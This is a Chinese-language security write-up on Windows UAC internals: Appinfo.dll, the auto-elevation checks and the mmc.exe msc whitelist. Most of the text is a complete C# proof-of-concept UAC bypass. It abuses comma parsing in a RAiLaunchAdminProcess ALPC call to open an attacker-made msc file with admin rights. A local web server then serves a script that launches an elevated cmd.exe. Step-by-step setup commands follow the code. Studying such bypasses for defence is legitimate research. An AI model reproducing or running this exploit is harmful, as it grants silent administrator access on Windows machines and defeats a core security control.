alpc+mmc.exe bypass UAC
UAC工作流程
来源其他dalao的逆向过程:传送门
我大致做个简述
UAC的服务来自于Appinfo.dll,对应由svchost.exe启动的appinfo.exe这个系统进程
如下行为会触发UAC验证,并弹出consent.exe询问是否提权:
- 配置Windows Update
- 增加或删除用户账户
- 改变用户的账户类型
- 改变UAC设置
- 安装ActiveX
- 安装或移除程序
- 安装设备驱动程序
- 设置家长控制
- 将文件移动或复制到Program Files或Windows目录
- 查看其他用户文件夹
管理员有两份权限令牌,一般情况是用普通用户权限令牌,而在同意了UAC验证后则会换用管理员权限令牌。
为了某些应用开启能自提权限,在vista后加入了两段认证,两段认证均通过则可以不用手动授权自提权(仍然会唤起consent.exe
appinfo中的两段验证机制分别如下
- 可信路径验证
主要判断是否来自c:\Windows\System32
,c:\Windows\SysWoW64
,或至少来自c:\windows
,通过验证后会给与不同的值,用于二段验证
- 可信名称匹配
先验证一阶段的值是否达到标准,不达到标准会直接放弃验证,然后是验证过程,先验证进程的静态内容中的manifes.xml是否配置好autoElevate为true,为true直接通过,没有则继续判断进程名是否在白名单中并验证能否通过AipIsValidAutoApprovalEXE
验证进程的签名
匹配完成后就会尝试用系统权限唤起consent.exe(通过两个验证不会弹窗)
弹窗yes后再用复制好的高权限token生成需要的高权限进程,完成流程
UAC白名单
白名单能通过第二段验证不用经过UAC检测,这些应用都在代码Appinfo.dll的代码里
其中mmc除了在二段验证白名单内,自己还有一套特别的流程,也就是mmc.exe还有一个白名单验证欲执行的msc文件是否在白名单内,如果在则跳过UAC认证。
bypass流程
大体流程如下:
首先我们需要执行mmc.exe并携带白名单中的名称作为参数,可以跳过UAC检测,创建一个msc文件用于web地址的连接,还需要一个html文件启动cmd.exe
执行选用RAiLaunchAdminProcess()
,这个函数来自于appinfo.exe中,也就是UAC验证的入口函数,由他引起后面一系列UAC验证,需要作为rpc客户端调用服务端执行。
同时也需要注意关键的第二个参数"XXX,wf.msc \"\\\\127.0.0.1\\C$\\testmscdir\\test.msc\"";
如果在命令行中直接执行mmc XXX,wf.msc "\\127.0.0.1\C$\testmscdir\test.msc\"
会发现其实是执行不了的,会提示不能打开文件XXX,wf.msc,文件不存在
,这其实是因为在UAC验证过程中用于解析命令行的命令会错误的解析逗号,导致验证mmc后验证到wf.msc进而通过二段验证,不用弹窗提示是否提权,同时在mmc.exe中封装的解析命令行不会错误解析逗号,进而导致mmc实际执行目标是后面的路径。
执行后就绕过了uac用管理员权限打开了test.msc。
test.msc是我们通过mmc.exe创建的一个msc文件,用于web连接,可以看到,单独打开test.msc其实是在mmc中连接到指定web服务(mmc也有不少关于这个的cve,有关xss,xxe)。
我们通过socket创建一个web服务,用于和test.msc文件交互。传送执行命令行cmd.exe的script至管理员权限的test.msc中,就通过test.msc打开了管理员权限的命令行
以下为自己用c#复现的poc:
using NtApiDotNet;
using NtApiDotNet.Ndr.Marshal;
using NtApiDotNet.Win32;
using rpc_201ef99a_7fa0_444c_9399_19ba84f12a1a_1_0;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.ServiceProcess;
using System.Text;
using System.Threading;
namespace bypassUAC_alpc
{
class Program
{
[Flags]
enum StartFlags
{
None = 0,
RunAsAdmin = 0x1,
Unknown02 = 0x2,
Unknown04 = 0x4,
Wow64Path = 0x8,
Unknown10 = 0x10,
Unknown20 = 0x20,
Unknown40 = 0x40,
Untrusted = 0x80,
CentennialElevation = 0x200,
}
[DllImport("User32.dll")]
static extern IntPtr GetDesktopWindow();
static NtProcess LaunchAdminProcess(string executable, string cmdline, StartFlags flags, CreateProcessFlags create_flags, string desktop)
{
StartAppinfoService();
using (Client client = new Client())
{
client.Connect();
create_flags |= CreateProcessFlags.UnicodeEnvironment;
Struct_0 start_info = new Struct_0();
int retval = client.RAiLaunchAdminProcess(executable, cmdline, (int)flags, (int)create_flags,
@"c:\windows", desktop, start_info, new NdrUInt3264(GetDesktopWindow()),
-1, out Struct_2 proc_info, out int elev_type);
if (retval != 0)
{
throw new Win32Exception(retval);
}
using (var thread = NtThread.FromHandle(new IntPtr(proc_info.Member8.Value)))
{
return NtProcess.FromHandle(new IntPtr(proc_info.Member0.Value));
}
}
}
static void StartAppinfoService()
{
try
{
ServiceController service = new ServiceController("appinfo");
if (service.Status != ServiceControllerStatus.Running)
{
service.Start();
service.WaitForStatus(ServiceControllerStatus.Running, TimeSpan.FromSeconds(5));
}
}
catch
{
}
}
/*
* RAiLaunchAdminProcess(
handle, handle
L"C:\\Windows\\System32\\mmc.exe", 执行路径
L"XXX,wf.msc \"\\\\127.0.0.1\\C$\\gweeperx\\test.msc\"", 执行命令 *
0x1, StartFlag 1是管理员0是当前用户
0x00000400, CreateFlag
L"D:\\", 当前目录
L"WinSta0\\Default", WindowsStation
&StructMember0, Struct APP_STARTUP_INFO
0, HWND
0xffffffff, Timeout
&Struct_56, Struct APP_PROCESS_INFORMATION
&arg_12 ElevationType
);
*/
public static void OpenWebServer() {
Socket socketWatch = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
socketWatch.Bind(new IPEndPoint(IPAddress.Parse("127.0.0.1"), 2332));
socketWatch.Listen(20);
Socket socket = socketWatch.Accept();
byte[] data = new byte[1024 * 1024 * 4];
System.Threading.Thread.Sleep(1000);
int sizenum = socket.Available;
Console.WriteLine(sizenum);
int length = socket.Receive(data, 0, sizenum, SocketFlags.None);
string requestText = Encoding.UTF8.GetString(data, 0, length);
Console.WriteLine(requestText);
byte[] body = Encoding.UTF8.GetBytes("<html><head><script>external.ExecuteShellCommand(\"cmd.exe\",\"C:\",\"\",\"Restored\");</script></head></html>");
//byte[] head = Encoding.UTF8.GetBytes("HTTP/1.1 200 OK\nContent-Type: text/html\nConnection: Close\n\n");
//socket.Send(head);
socket.Send(body);
//i = i + 1;
socket.Shutdown(SocketShutdown.Both);
socket.Close();
}
static void Main(string[] args)
{
try
{
StartFlags flags = StartFlags.RunAsAdmin;
List<string> cmds = new List<string>(args);
string executable = "C:\\Windows\\System32\\mmc.exe";
string commandline = "XXX,wf.msc \"\\\\127.0.0.1\\C$\\testmscdir\\test.msc\"";
using (var proc = LaunchAdminProcess(executable, commandline, flags, CreateProcessFlags.UnicodeEnvironment, @"WinSta0\Default"))
{
Console.WriteLine("Start process {0}", proc.ProcessId);
Console.WriteLine("Granted Access: {0}", proc.GrantedAccess);
}
OpenWebServer();
}
catch (Exception ex)
{
Console.WriteLine(ex);
}
}
}
}
过程为
net use \\127.0.0.1\c$
为了能在commandline参数中使用unc路径连接到我们的msc文件mkdir c:\testmscdir
同上,只要和commandline参数保持一致即可copy test.msc c:\testmscdir
复制过去- 执行程序